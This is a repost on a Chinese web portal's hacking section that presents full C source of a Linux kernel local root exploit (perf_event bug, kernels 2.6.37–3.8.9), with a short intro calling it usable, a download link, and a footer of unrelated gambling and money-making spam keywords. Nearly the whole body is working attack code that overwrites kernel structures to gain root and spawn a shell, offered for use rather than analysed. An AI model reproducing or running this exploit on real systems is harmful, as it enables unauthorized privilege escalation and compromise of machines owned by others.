笑話大全ico
您當前的位置 :廈門門戶網>黑客安全>系統攻防> 正文
linux root exp for 2.6.37-3.x.x x86_64
2015-11-22 07:15來源:廈門門戶網
【摘要】
國外黑客發現Linux 內核2.6.37-3.8.9版本一個漏洞,成功利用該漏洞可能獲得特權用戶,還算新鮮,轉來給大家看看。比較好用的~ http://fucksheep.org/~sd/warez/semtex.c linux 2.6.37-3.x.x x86_64, ~100 LOC - /* *
國外黑客發現Linux 內核2.6.37-3.8.9版本一個漏洞,成功利用該漏洞可能獲得特權用戶,還算新鮮,轉來給大家看看。比較好用的~ 
 
 
http://fucksheep.org/~sd/warez/semtex.c
linux 2.6.37-3.x.x x86_64, ~100 LOC ———————————————————————————————————————-
 
/*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 [email protected], salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 */
 
#define _GNU_SOURCE 1
#include <stdint .h>
#include <stdio .h>
#include <stdlib .h>
#include <string .h>
#include <unistd .h>
#include <sys /mman.h>
#include <syscall .h>
#include <stdint .h>
#include <assert .h>
 
#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL< &lt;32)^((uint64_t)((x)*313337))))
 
void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;
 
for (i=0; i&lt;4000; i+=4) {
uint64_t *p = (void *)&current[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j&lt;20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}
 
void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}
 
int main() {
uint64_t  u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i<SIZE/4);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\[email protected] 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<&lt;32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}
標簽(Tag):
官方郵箱:[email protected] 官方微信:xmyy_com 官方微博:
 
  • 掃描二維碼關注官方微信

山东十一选五走势图360 可以买小号赚钱的手游 单机捕鱼达人官方版 穿越回民国什么东西能够赚钱 彩友网群 双鱼男和天蝎男谁更能赚钱 个人网站赚钱方向 无花百搭麻将下载 曲方净颜如何赚钱 真钱彩金捕鱼游戏平台 2017远征2赚钱攻略 GPK钱龙捕鱼打法 6.8米车哪里赚钱 电影网站推广赚钱 穿越回民国什么东西能够赚钱 梦幻西游145开怎么赚钱 西安最赚钱的小吃